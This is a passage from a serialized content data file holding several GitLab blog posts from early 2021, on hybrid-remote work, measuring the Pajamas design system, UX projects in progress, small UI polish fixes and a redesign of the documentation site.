hybrid organization, you will have team members who conduct onsite meetings some days, and remote meetings on other days. It's vital that the *process* of those meetings are the same – it's merely the physical position of a team member that changes.\n\n## Coffee chats should be indiscriminate of location\n\n[Coffee chats](/company/culture/all-remote/informal-communication/#coffee-chats) are an excellent way to broaden one's perspective and meet new people from across the organization. Hybrid organizations should take care to not enable selective coffee chat pairing based on who is onsite and who is remote, as it signals a two-tier work environment.\n\n## Record important conversations\n\nThe proximity of people in an office makes hallway, watercooler, and ad hoc conversations appealing. Leaders in hybrid-remote settings should reinforce the importance of using a smartphone as a recording device to capture important, non-confidential work-related conversations, with the consent of both parties. Recording conversations ensure that takeaways can be shared transparently with those outside of the office and minimizes potential misinterpretations.\n\n\u003Cblockquote class=\"twitter-tweet tw-align-center\">\u003Cp lang=\"en\" dir=\"ltr\">Want to make hybrid work? Start at the top.\u003Cbr> \u003Cbr>People want flexibility, a remote-office blend. But allowing flexibility without addressing how execs work risks “faux flex.”\u003Cbr>\u003Cbr>Changing where &amp; how senior execs show up will make or break hybrid.\u003Ca href=\"https://twitter.com/hashtag/futureofwork?src=hash&amp;ref_src=twsrc%5Etfw\">#futureofwork\u003C/a>\u003Ca href=\"https://t.co/H7obOrKlHl\">https://t.co/H7obOrKlHl\u003C/a>\u003C/p>&mdash; Brian Elliott (@brianpelliott) \u003Ca href=\"https://twitter.com/brianpelliott/status/1353744550724943872?ref_src=twsrc%5Etfw\">January 25, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n## Leadership's place in the office\n\nThe best place for leaders and executives to be in a hybrid-remote environment is *[outside](/company/culture/all-remote/transition/#make-the-executive-team-remote)* of the office.\n\n1. This prevents remote team members from a perceived lack of \"face time\" with executives.\n1. This prevents senior leadership from conducting their work in ways that are counter to remote-first principles.\n1. This prevents cognitive dissonance from leadership on what tools, technologies, and training need to be prioritized to support remote-first workflows.\n1. This prevents team members from coming to the office to rub shoulders with executives.\n1. This reinforces that the office is no longer the [epicenter](/company/culture/all-remote/stages/#7-remote-first) of power or decision making.\n\n## Spontaneous social events\n\nIt's understandable for team members to want to gather socially in and around office settings. Structuring [informal communication](/company/culture/all-remote/informal-communication/) is vital in a remote setting, and some companies may choose to repurpose some of their office space to accommodate groups and gatherings. Libraries, fitness centers, game rooms, and music studios (among others) could be created to facilitate social gatherings for those who are onsite on any given day.\n\nLeaders who enable this should be mindful of the following:\n\n1. It's important to budget for travel to include remote team members in onsite social events.\n1. Work should not happen in social rooms, because it hinders [transparency](https://handbook.gitlab.com/handbook/values/#transparency) and creates [dysfunction](https://handbook.gitlab.com/handbook/values/#five-dysfunctions) by forming communication silos.\n\n\u003Cblockquote class=\"twitter-tweet tw-align-center\">\u003Cp lang=\"en\" dir=\"ltr\">&quot;Relative to expectations, how has work from home turned out?&quot;\u003Cbr>\u003Cbr>Expansive research on work-from-home from \u003Ca href=\"https://twitter.com/Stanford?ref_src=twsrc%5Etfw\">@Stanford\u003C/a>, \u003Ca href=\"https://twitter.com/ChicagoBooth?ref_src=twsrc%5Etfw\">@ChicagoBooth\u003C/a>, \u003Ca href=\"https://twitter.com/ITAM_mx?ref_src=twsrc%5Etfw\">@ITAM_mx\u003C/a>, and \u003Ca href=\"https://twitter.com/Jose_MariaRD?ref_src=twsrc%5Etfw\">@jose_mariard\u003C/a> 🌎\u003Cbr>\u003Cbr>(Some well-considered comments in the \u003Ca href=\"https://twitter.com/newsycombinator?ref_src=twsrc%5Etfw\">@newsycombinator\u003C/a> thread as well)\u003Ca href=\"https://t.co/gvanMImy5Y\">https://t.co/gvanMImy5Y\u003C/a> \u003Ca href=\"https://t.co/Ig1X2PDBQH\">pic.twitter.com/Ig1X2PDBQH\u003C/a>\u003C/p>&mdash; Darren Murph (@darrenmurph) \u003Ca href=\"https://twitter.com/darrenmurph/status/1353879546358095873?ref_src=twsrc%5Etfw\">January 26, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n## Equitable benefits and perks\n\nLeaders should carefully evaluate spoken and unspoken perks of the office, and seek to extend equal benefits to those outside of the office. For example, access to an onsite daycare and fitness center would demand a childcare and fitness credit for those who are remote by default. This situation becomes particularly tricky for team members who are onsite some days of the week, and offsite others, unless the credits are extended to all.\n\n## Expect rapid iteration\n\nHybrid-remote organizations may see high office use in the early days of a workplace transition, as people flock to the familiar. However, as remote-first workflows are implemented and people relocate or change their workplace setting for personal reasons, it's possible that more space will go unused.\n\nWhile this may seem jarring, it's a positive indicator that work and culture are progressing without the need of an office. This will create opportunities to capture greater real estate savings and/or repurpose office space for philanthropic efforts, such as opening up an internship center for the local community.\n\nTo assist with the transition, enroll in our \"[How to Manage a Remote Team](https://www.coursera.org/learn/remote-team-management)\" course on Coursera, and download [GitLab's Remote Playbook](https://learn.gitlab.com/suddenlyremote).\n",[3798,7715,4144],{"slug":19658,"featured":6,"template":678},"considerations-for-going-hybrid-remote","content:en-us:blog:considerations-for-going-hybrid-remote.yml","Considerations For Going Hybrid Remote","en-us/blog/considerations-for-going-hybrid-remote.yml","en-us/blog/considerations-for-going-hybrid-remote",{"_path":19664,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19665,"content":19670,"config":19675,"_id":19677,"_type":16,"title":19678,"_source":17,"_file":19679,"_stem":19680,"_extension":20},"/en-us/blog/measuring-the-value-of-our-design-system",{"title":19666,"description":19667,"ogTitle":19666,"ogDescription":19667,"noIndex":6,"ogImage":19205,"ogUrl":19668,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19668,"schema":19669},"Measuring the value of our design system","As our design system matures over the years, we are tracking how useful it is to our product teams.","https://about.gitlab.com/blog/measuring-the-value-of-our-design-system","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Measuring the value of our design system\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taurie Davis\"}],\n        \"datePublished\": \"2021-02-16\",\n      }",{"title":19666,"description":19667,"authors":19671,"heroImage":19205,"date":19673,"body":19674,"category":18484},[19672],"Taurie Davis","2021-02-16","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThrough the years, GitLab has become one application for the complete DevOps lifecycle.\nWith this growth, I’ve watched GitLab scale from roughly 75 people to over 1,300. As our UX department has grown,\nso have our workflows and processes. Since I joined in 2016, we’ve hired a department of over 60 world class designers, researchers,\nand tech writers. We’ve adopted processes that help improve the user experience, such as [Jobs to be Done](/handbook/product/ux/jobs-to-be-done/)\nand [UX Scorecards](/handbook/product/ux/ux-scorecards/), and we’ve begun measuring our\n[System Usability Scale score](/handbook/product/ux/performance-indicators/system-usability-scale/) to track GitLab’s perceived usability. \n\nTo ensure we have a foundation that supports our evolving processes, we’ve been actively building our design system, [Pajamas](https://design.gitlab.com/),\nsince 2017. Our main goal has been to create a first-class internal product that supports the workflows of product designers,\nengineers, and product managers, allowing them to more efficiently perform their roles.\n\nBack in 2018, our design system was only just forming. As a product design team, we worked together to define foundational\ndesign elements such as our three product typescales, color palette, and spacing scale. We started creating a pattern\nlibrary that designers could use in Sketch and built out key components such as buttons, form elements, and dropdowns.\nHowever, our design system was a blank slate consisting of a skeleton structure for building out fundamental elements,\ncomponents, regions, and content guidelines. At that point in time, we did not have a robust component library, let alone\na useful design system.\n\nEven though we were only at the beginning of where we wanted Pajamas to go, we knew it would be important to track\nhow useful our system was over time. We sent out our first survey in April of 2018 to gauge how product designers were spending\ntheir time and how useful our current system was to them.\n\nSince then, we have developed Pajamas to support the workflows that have evolved with our growing UX department. \nOur design system now includes design principles, guidelines for foundational design elements and components, accessibility audits,\nusability standards, and more. We’ve included live-coded components and are working towards\ncreating conceptual models for our core objects. With all of the progress that we’ve made over the past 2.5 years, we\ndecided it was past time to send the same survey from 2018 to compare how our system has improved the efficiency of our\ndesigners over the years.\u003Csup>1\u003C/sup>\n\n## Themes\n\nComparing the survey results, it was apparent that the increased maturity of our system has resulted\nin improvements to the efficiency of our day-to-day workloads. We’ve grouped these findings into four themes.\n\n### 1. Pajamas is referenced frequently and is perceived as very useful in our workflows\n\nWe are excited to see that Pajamas is being referenced frequently for most problems by designers. In 2017,\ndesigners rarely referenced our system and felt that it was not very useful. When compared to today, over 75% of designers find it\nvery useful to their work.\n\n![A chart showing how often designers reference Pajamas when working on design tasks. The chart shows the frequency increasing since 2018.](https://about.gitlab.com/images/blogimages/pajamas-survey/reference-pajamas-when-designing.svg)\n![A chart showing how often designers reference Pajamas when working on user experience tasks. The chart shows the frequency increasing since 2018.](https://about.gitlab.com/images/blogimages/pajamas-survey/reference-pajamas-when-answering-ux-questions.svg)\n![A chart showing how useful designers perceive Pajamas to be. The chart shows the usefulness increasing since 2018.](https://about.gitlab.com/images/blogimages/pajamas-survey/pajamas-usefulness.svg)\n\n### 2. The number of questions designers receive about the styling and usage of components is decreasing\n\nAs we build out more robust usage documentation and live-coded components, designers are being asked \nfewer questions on average regarding how a component should be used or styled. Our development\nteams have more autonomy to build out interfaces, allowing teams to be more efficient and iterate faster.\n\n![A chart showing how often designs help clarify the styling of a component. The chart shows the amount of time decreasing since 2018.](https://about.gitlab.com/images/blogimages/pajamas-survey/component-styling-questions.svg)\n![A chart showing how often designs help clarify the usage of a component. The chart shows the amount of time decreasing since 2018.](https://about.gitlab.com/images/blogimages/pajamas-survey/component-usage-questions.svg)\n\n### 3. There has not been a significant difference in the amount of time designers are spending writing documentation\n\nAlthough the amount of documentation has dramatically increased over the years, designers do not feel that\nthey are writing more documentation in an average week.\n\nWhile we want time spent on documentation to stay relatively low, we also want to\nensure the barrier of entry to contribute is not too high. We believe it’s important that both designers\nand engineers can easily contribute to Pajamas regularly. As a second part to this survey, we asked questions to gauge how\npeople feel about contributing, and are now [working to make it easier](https://gitlab.com/groups/gitlab-org/-/epics/5356).\n\n![A chart showing how much time designers spend writing documentation. The chart shows the amount of time staying the same since 2018.](https://about.gitlab.com/images/blogimages/pajamas-survey/writing-documentation.svg)\n\n### 4. There is more time to spend on brainstorming and solving real user problems\n\nDesigners are spending less time responding to questions and doing feature reviews. One of the most impactful and\nexciting changes since we sent out our survey in 2018 is that product designers have more time to work on brainstorming and\ncreating solutions to new problems. As we grow our processes and standardize the user experience across the product, designers\nare spending upwards of 50-75% of their time on solving real user problems compared to 25% on average in 2018.\n\n![A chart showing how often designers spend responding to questions regarding components. The chart shows the amount of time decreasing since 2018.](https://about.gitlab.com/images/blogimages/pajamas-survey/responding-to-component-questions.svg)\n![A chart showing how often designers spend responding to questions regarding new features. The chart shows the amount of time decreasing since 2018.](https://about.gitlab.com/images/blogimages/pajamas-survey/responding-to-new-feature-questions.svg)\n![A chart showing how often designers spend working on solving new problems. The chart shows the amount of time increasing since 2018.](https://about.gitlab.com/images/blogimages/pajamas-survey/brainstorming-solutions-to-problems.svg)\n\n## Summary\n\nThe qualitative data we collected helps us determine the impact of our design system. Over the years, we have seen\nPajamas grow into a robust system that supports cross-functional product teams. From our most recent survey, we can see that\nproduct designers are asked fewer questions, engineers have more autonomy, there is more time to focus on real user problems, and\nPajamas has become a useful tool that is frequently utilized to help address a variety of UX and UI questions.\n\nWhile Pajamas has come a long way, we believe there is a long way to go. Check out the [direction page of our Foundations team](/direction/manage/foundations/)\nto learn more about what we are working on to improve our system even further.\n\n1. While this blog post has a primary focus on designers, we are also interested in how the system improves the workflows and processes for all of Engineering and Product. Our surveys also include responses from cross functional partners.\n{: .note}\n",{"slug":19676,"featured":6,"template":678},"measuring-the-value-of-our-design-system","content:en-us:blog:measuring-the-value-of-our-design-system.yml","Measuring The Value Of Our Design System","en-us/blog/measuring-the-value-of-our-design-system.yml","en-us/blog/measuring-the-value-of-our-design-system",{"_path":19682,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19683,"content":19689,"config":19695,"_id":19697,"_type":16,"title":19698,"_source":17,"_file":19699,"_stem":19700,"_extension":20},"/en-us/blog/interesting-things-ux-is-working-on-february-2021",{"title":19684,"description":19685,"ogTitle":19684,"ogDescription":19685,"noIndex":6,"ogImage":19686,"ogUrl":19687,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19687,"schema":19688},"Interesting things UX is working on - February 2021","Take a look at some of the design work we've got in process","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679569/Blog/Hero%20Images/med-badr-chemmaoui-ZSPBhokqDMc-unsplash.jpg","https://about.gitlab.com/blog/interesting-things-ux-is-working-on-february-2021","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Interesting things UX is working on - February 2021\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christie Lenneville\"}],\n        \"datePublished\": \"2021-02-12\",\n      }",{"title":19684,"description":19685,"authors":19690,"heroImage":19686,"date":19692,"body":19693,"category":18484,"tags":19694},[19691],"Christie Lenneville","2021-02-12","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nAs always, the UX department is working on some interesting and valuable things. Check out what we've got in process during February 2021.\n\n## Help users configure API fuzzing scanners more efficiently\n\nConfiguring API fuzzing scanners requires editing the project .yaml file, which can be long and difficult to parse. Editing can also lead to potential errors.\n\n**Solution:** We're starting with a boring solution (currently scheduled for 13.9) that [generates the necessary code snippet](https://gitlab.com/gitlab-org/gitlab/-/issues/299234) for API fuzzing scanner configuration. Our solution will also help users add the code snippet to the correct .yaml locations.\n\n![Fuzzing Scanner configuration efficiency](https://about.gitlab.com/images/blogimages/2021-february-interesting-ux/Slide14_secure-fuzz-api-configuration-mvc.gif){: .shadow.medium.center}\n\n## Provide visibility to the GitLab Agent for Kubernetes status & deployments\n\nCustomers who use the Agent to automate their deployments to their Kubernetes clusters need to be able to easily see the Agent's status and activity to troubleshoot errors that can break their deployments.\n\n**Solution:** Provide a details page for the Agent where users can see the list of Agent activities, the manifest projects it deploys, and their sync status, so they can more easily troubleshoot the Agent. Design is in process with solution validation planned for 13.11.\n\n![Kubernetes Agent status & deployments](https://about.gitlab.com/images/blogimages/2021-february-interesting-ux/kubernetes-agent.png){: .shadow.medium.center}\n\n## Make it easier to find settings on a page\n\nFinding a specific setting can be hard. Users need to know where it is or hunt for it by opening each section, because the browser search (CMD + f) doesn’t work.\n\n**Solution:** In-page search for Settings as a first step in directly getting users to the settings they need. We added this under a feature flag in 13.8. Currently available on the www-gitlab-com project.\n\n![Search on settings page](https://about.gitlab.com/images/blogimages/2021-february-interesting-ux/search-settings.gif){: .shadow.medium.center}\n\n## Help users triage and track changes made to vulnerabilities\n\nWhen triaging vulnerabilities, users need the ability to modify information and document their decisions for accountability. Additionally, users need to discuss the details, priority, and risk before opening an issue for remediation.\n\n**Solution:** Meet users' expectations when interacting with vulnerabilities by providing corollary experiences used elsewhere in GitLab: (1) Required comments on state/status change and (2) Commenting and threaded comments in vulnerabilities.\n\n![Triage and track vulnerability changes](https://about.gitlab.com/images/blogimages/2021-february-interesting-ux/Slide17_Change-status-with-required-comment.gif){: .shadow.medium.center}\n\n## Call out the priority of compliance violations\n\nToday, users can only see a generic violation message for the latest Merge Request, which makes it difficult to keep track of and discern priority.\n\n**Solution:** Assign a severity to merge request violations. This [epic](https://gitlab.com/groups/gitlab-org/-/epics/5237) moved into planning breakdown in 13.9.\n\n![Compliance violation priority](https://about.gitlab.com/images/blogimages/2021-february-interesting-ux/priority-compliance-violations.gif){: .shadow.medium.center}\n![Compliance violation priority before and after](https://about.gitlab.com/images/blogimages/2021-february-interesting-ux/compliance-violation-before-after.png){: .shadow.medium.center}\n\n## Make it easier for new users to get started with CI/CD\n\nCurrently, we don't do a good enough job of showing new GitLab users the value of CI/CD and how to implement it well.\n\n**Experiment:** Feature CI/CD templates to users who haven’t activated pipelines. We hypothesize this will make the process less intimidating and lead to more usage.\n\n![Getting started with CI/CD](https://about.gitlab.com/images/blogimages/2021-february-interesting-ux/get-started-cicd.gif){: .shadow.medium.center}\n\n## Make GitLab purchases more seamless for SaaS customers\n\nToday, SaaS customers are directed away from GitLab.com to the Customers Portal to make purchases. Then, they have to reauthenticate, creating friction in the purchase process.\n\n**Solution:** We're iterating toward [eliminating the Customers Portal](https://gitlab.com/groups/gitlab-org/-/epics/1888) to allow customers to make GitLab purchases inside the product. The new subscription purchase flow has already been moved to GitLab.com. In 13.9, we’ll start to move the CI minute purchase flow and then the storage purchase flow after that. Renewals, upgrades, and purchasing additional seats will follow.\n\n![New checkout](https://about.gitlab.com/images/blogimages/2021-february-interesting-ux/checkout.png){: .shadow.medium.center}\n\n## Help users manage Feature Flags more effectively\n\nUsers are unable to manage and connect feature flags to MRs, epics, issues, and discussions, leading to friction when coordinating strategies.\n\n**Solution:** Validate the concept of feature flags as an issue type, where users can manage feature flags in a centralized location and benefit from all the capabilities that come with issues. This is currently [in solution validation](https://gitlab.com/gitlab-org/ux-research/-/issues/1240) with development work planned to start in 13.10.\n\n![New checkout](https://about.gitlab.com/images/blogimages/2021-february-interesting-ux/feature-flags.png){: .shadow.medium.center}\n\n## Allow users to re-add a merge request to the merge train\n\nWhen a merge train pipeline fails due to infrastructural failures, users can't easily add the MR back to the merge train.\n\n**Solution:** As an MVC solution, we're providing users with better messaging in the MR widget that communicates the possible reason for the failure and the appropriate workflow to add the MR back to the train. [Currently scheduled for 13.9](https://gitlab.com/gitlab-org/gitlab/-/issues/291168/).\n\n![Re-add MR to merge train](https://about.gitlab.com/images/blogimages/2021-february-interesting-ux/readd-mr-merge-train.png){: .shadow.medium.center}\n\n## Make merging easier, so that changes can be integrated faster\n\nMerging changes is one of the key moments in the DevOps lifecycle. But today, merging in GitLab has various UX problems that slow down users and their team's pace of shipping.\n\n**Solution:** First steps to make merging lovable: [Map states, actions, and information associated with the merge request merge widget](https://gitlab.com/gitlab-org/gitlab/-/issues/299193), [Conduct a competitive analysis of merge checks UX](https://gitlab.com/gitlab-org/gitlab/-/issues/300767), and [Create a design framework for MR merge widget](https://gitlab.com/gitlab-org/gitlab/-/issues/299195).\n\n![Make MR widget lovable](https://about.gitlab.com/images/blogimages/2021-february-interesting-ux/make-mr-widget-lovable.png){: .shadow.medium.center}\n\nCover image by [Med Badr Chemmaoui](https://unsplash.com/@medbadrc) on [Unsplash](https://unsplash.com/photos/ZSPBhokqDMc)\n{: .note}\n",[2248,2250,2249],{"slug":19696,"featured":6,"template":678},"interesting-things-ux-is-working-on-february-2021","content:en-us:blog:interesting-things-ux-is-working-on-february-2021.yml","Interesting Things Ux Is Working On February 2021","en-us/blog/interesting-things-ux-is-working-on-february-2021.yml","en-us/blog/interesting-things-ux-is-working-on-february-2021",{"_path":19702,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19703,"content":19708,"config":19712,"_id":19714,"_type":16,"title":19715,"_source":17,"_file":19716,"_stem":19717,"_extension":20},"/en-us/blog/little-things-make-a-difference",{"title":19704,"description":19705,"ogTitle":19704,"ogDescription":19705,"noIndex":6,"ogImage":9591,"ogUrl":19706,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19706,"schema":19707},"Little things make a difference","Let's celebrate the small UI refinements that add up to create a big impact","https://about.gitlab.com/blog/little-things-make-a-difference","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Little things make a difference\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christie Lenneville\"}],\n        \"datePublished\": \"2021-02-12\",\n      }",{"title":19704,"description":19705,"authors":19709,"heroImage":9591,"date":19692,"body":19710,"category":18484,"tags":19711},[19691],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nWhen you're busy focusing on the big picture of feature improvement work, it can be easy to forget the value of tiny refinements. But when you add them all up, fixing little \"paper cuts\" can have a meaningful impact on user experience. \n\nThat's why I was so excited to see the [GitLab UI Polish Gallery](https://nicolasdular.gitlab.io/gitlab-polish-gallery/) created by [Nicolas Dular](https://gitlab.com/nicolasdular), a Senior Fullstack Engineer on our Growth team. It highlights small refinement contributions &#151; like adjusting alignment, spacing, and type scale &#151; that are easy to overlook. But seeing them in aggregate, you quickly realize what a difference they make.\n\nFor me, the most inspiring part of the gallery was seeing such a diverse group of people contribute to making our product the best it can be. Developers, designers, and members of the wider GitLab community (special shout out to [Yogi](https://gitlab.com/yo)) all care enough about our product experience to put time into small changes.\n\nHere are a few examples, but I encourage you to check out the gallery for yourself!\n\n## Polishing the Jira Connect app\n\nOur [Jira Connect](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) app helps customers use GitLab in coordination with Jira for a more seamless developer experience. [Libor Vanc](https://gitlab.com/lvanc) (Senior Product Designer) and [Justin Ho](https://gitlab.com/justin_ho) (Senior Frontend Engineer) on our Ecosystem team made some light changes to the app's type scale and CTAs that make the app much simpler to visually parse. What a nice change!\n\n![GitLab Jira Connect app](https://about.gitlab.com/images/blogimages/little-things-make-a-difference/jira-connect-gitlab.png)\n\n## Addressing alignment problems in the merge request widget\n\nMerge requests are central to our user experience, and we're working hard to make the experience exceptional. When Staff Product Designer, [Pedro Moreira da Silva](https://gitlab.com/pedroms), noticed alignment problems in the MR widget, he worked with Senior Frontend Engineer, [Jacques Erasmus](https://gitlab.com/jerasmus), to address them. It was a very subtle change that will impact millions of users.\n\n![Reply box in diffs](https://about.gitlab.com/images/blogimages/little-things-make-a-difference/widget-alignment.png)\n\n## Fixing the vertical alignment in card headers\n\nThis change is so subtle that it's hard to even notice, but the vertical alignment in the card header of our on-demand security scans was off by mere pixels. Product Designer, [Annabel Dunstone Gray](https://gitlab.com/annabeldunstone), noticed the [problem](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50550#note_480509692) during an MR review, and Frontend Engineer, [Paul Gascou Vaillancourt](https://gitlab.com/pgascouvaillancourt), jumped in to fix it in the same release.\n\n![Card header vertical alignment](https://about.gitlab.com/images/blogimages/little-things-make-a-difference/card-header.png)\n\n## More to come!\n\nWe make visual refinements all of the time, so this is just a start to what you'll see in the [GitLab UI Polish Gallery](https://nicolasdular.gitlab.io/gitlab-polish-gallery/). I'll personally be checking in from time to time to remind myself of the little things that make a big difference.\n\n",[1384,944],{"slug":19713,"featured":6,"template":678},"little-things-make-a-difference","content:en-us:blog:little-things-make-a-difference.yml","Little Things Make A Difference","en-us/blog/little-things-make-a-difference.yml","en-us/blog/little-things-make-a-difference",{"_path":19719,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19720,"content":19726,"config":19730,"_id":19732,"_type":16,"title":19733,"_source":17,"_file":19734,"_stem":19735,"_extension":20},"/en-us/blog/redesigning-our-docs",{"title":19721,"description":19722,"ogTitle":19721,"ogDescription":19722,"noIndex":6,"ogImage":19723,"ogUrl":19724,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19724,"schema":19725},"Redesigning the GitLab docs","We're working on improving our documentation site usability and discoverability. Check out what's changed and get a sneak peek at the refinements coming to docs.gitlab.com.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670050/Blog/Hero%20Images/homepage-cover-image.png","https://about.gitlab.com/blog/redesigning-our-docs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Redesigning the GitLab docs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Susan Tacker\"},{\"@type\":\"Person\",\"name\":\"Christie Lenneville\"}],\n        \"datePublished\": \"2021-02-12\",\n      }",{"title":19721,"description":19722,"authors":19727,"heroImage":19723,"date":19692,"body":19728,"category":736,"tags":19729},[12210,19691],"\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2021-03-03.\n{: .note .alert-info .text-center}\n\nFor a product like GitLab, great documentation isn’t just nice to have – it’s a must. \n\nAs a complete DevOps platform, GitLab brings a sprawling tooling ecosystem into a single experience so that teams can build software faster and with greater confidence. Part of our responsibility is to help users quickly understand how to complete standard tasks, while giving them insight into the larger possibilities of the product and which features they might take advantage of next.\n\nOver the past year, we’ve worked really hard to understand our docs experience. We started by assessing the sheer amount of content that’s available on [docs.gitlab.com](https://docs.gitlab.com/) (equal to two copies of \"War and Peace\"!) and then we began user research to discover how well that content meets our users’ needs.\n\n**Wow, did we learn a lot!** While 96% of participants thought our content was useful, research confirmed what we suspected: we have some problems with site usability and information discoverability. That was good news, because these things are fixable. In this blog post, you’ll learn more about what’s in process, what we’ve already addressed, and what we plan to do next.\n\n## What we’re working on now\n\nLet’s start by covering what we’re working on now, since these are nice refinements that we’re really excited about.\n\n### It’s always about the homepage\n\nA website’s homepage is where users first orient themselves and look for important information. And, frankly, our homepage just isn’t doing that job well. While we’ve made iterative improvements over the past year (we'll talk about those in a minute), we know it’s time for a major overhaul. That's why we’re so excited to see the improvements we’ve made in collaboration with senior product designer, [Jeremy Elder](/company/team/#jeldergl), come to fruition.\n\nHere's our current home page.\n\n![Current homepage](https://about.gitlab.com/images/blogimages/redesigning-our-docs/homepage-current.png){: .shadow.medium.center}\nCurrent homepage\n{: .note.text-center}\n\nOur [homepage redesign](https://gitlab.com/gitlab-org/gitlab-docs/-/issues/916) focuses on: \n\n- Helping users find what they need more quickly by elevating search and removing extraneous content to simplify the design\n- Highlighting key areas that users typically want to get started \n- Making installation instructions easy to find\n- Aligning the top navigation with accessibility guidelines\n\n![Homepage coming soon](https://about.gitlab.com/images/blogimages/redesigning-our-docs/homepage-coming-soon.png){: .shadow.medium.center}\nIn progress (better usability and visual appeal)\n{: .note.text-center}\n\n### Type scales matter\n\n> \"Sometimes I get emotional over fonts.\" - Kanye West\n\nIt’s OK, Kanye – we understand. Fonts make us emotional sometimes, too. Unfortunately, our current type scale makes us feel sad. :( \n\nHere's what it looks like now:\n\n![Type scale before](https://about.gitlab.com/images/blogimages/redesigning-our-docs/typescale-before.png){: .shadow.medium.center}\nCurrent type scale\n{: .note.text-center}\n\nHere's a peek at how we’re [updating it](https://gitlab.com/gitlab-org/gitlab/-/issues/300424#note_497435628) to be more modern, easier to scan, and better themed. \n\n![Type scale after](https://about.gitlab.com/images/blogimages/redesigning-our-docs/typescale-after.png){: .shadow.medium.center}\nComing soon!\n{: .note.text-center}\n\n## What we’ve already done\n\nAs mentioned before, we didn’t just start this refinement process – we’ve been making iterative changes for a while. Those changes aren’t as impactful as what we’re working on now, but they’re still worth mentioning.\n\n### Fixed our alert box madness\n\nAlert boxes, including notes, tips, and warnings, provide important information that we want you to know. That doesn’t mean they should be visually overwhelming. And when you overuse them, making it seem like everything is important, then nothing is.  (Confession time: One of our pages included 40 notes.)\n\nSo, we [reduced the number of “Notes”](https://gitlab.com/gitlab-org/technical-writing/-/issues/255) in our documentation by 25%, and we toned down the colors of notes, tips, and warnings to be less “in your face.” \n\n![Before and after of alert boxes](https://about.gitlab.com/images/blogimages/redesigning-our-docs/notecolor.png){: .shadow.medium.center}\nAlert box refinement\n{: .note.text-center}\n\n### Improved topic scanning with better use of fonts and white space\n\nGood use of fonts and white space can provide visual cues that help users more quickly identify related information. This is especially important for scanning large amounts of content.\n\nThe most egregious example of elements that needed to change was our headings.\n\n![Before headings](https://about.gitlab.com/images/blogimages/redesigning-our-docs/Headings1111.png){: .shadow.medium.center}\nEarlier version of headings\n{: .note.text-center}\n\nTo begin making improvements, we removed the borders from every heading level except H1, refined how we used margins, and made better use of font weight and size to distinguish levels H2 and smaller. Our headings will continue to improve in the type scale work we’re doing now, but in the spirit of early iteration, we didn’t let perfect be the enemy of better.\n\n![After headings](https://about.gitlab.com/images/blogimages/redesigning-our-docs/Headings1309.png){: .shadow.medium.center}\nCurrent version of headings\n{: .note.text-center}\n\nAlso, the leading in our bulleted lists (which appear frequently in technical docs) was… weird. Every line of text had equal spacing, making it difficult to see what information belonged together. There was too much space between the introductory sentence and the bullets that followed. \n\nNot anymore!\n\n![Refined bullets](https://about.gitlab.com/images/blogimages/redesigning-our-docs/bulletspacing.png){: .shadow.medium.center}\nFixed leading, margin, and enumeration\n{: .note.text-center}\n\n### Toned down visual noise of images\n\nWe also realized that our images were too visually pronounced. So, we removed drop shadows and reduced the size of the margins surrounding images.\n\n![Images are toned down](https://about.gitlab.com/images/blogimages/redesigning-our-docs/padding2.png){: .shadow.medium.center}\nRemoved drop shadow and reduced margin\n{: .note.text-center}\n\n## What’s up next\n\nWe’re excited about the improvements we’ve already made and what’s in process now, but there’s still more to do. Based on the same user research that guided our visual design enhancements, our [Documentation Roadmap](https://gitlab.com/groups/gitlab-org/-/epics/4602) includes back- and front-end changes to continue to improve the docs experience for the GitLab community. \n\nAs always, we value your feedback, so please continue to let us know how we’re doing!\n",[2248,1307,2249],{"slug":19731,"featured":6,"template":678},"redesigning-our-docs","content:en-us:blog:redesigning-our-docs.yml","Redesigning Our Docs","en-us/blog/redesigning-our-docs.yml","en-us/blog/redesigning-our-docs",{"_path":19737,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19738,"content":19744,"config":19749,"_id":19751,"_type":16,"title":19752,"_source":17,"_file":19753,"_stem":19754,"_extension":20},"/en-us/blog/engineering-teams-collaborating-remotely",{"title":19739,"description":19740,"ogTitle":19739,"ogDescription":19740,"noIndex":6,"ogImage":19741,"ogUrl":19742,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19742,"schema":19743},"How to carry out remote work team collaboration","Some tips for successful asynchronous collaboration from all-remote engineering teams.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681893/Blog/Hero%20Images/remoteengineering.jpg","https://about.gitlab.com/blog/engineering-teams-collaborating-remotely","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to carry out remote work team collaboration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2021-02-09\",\n      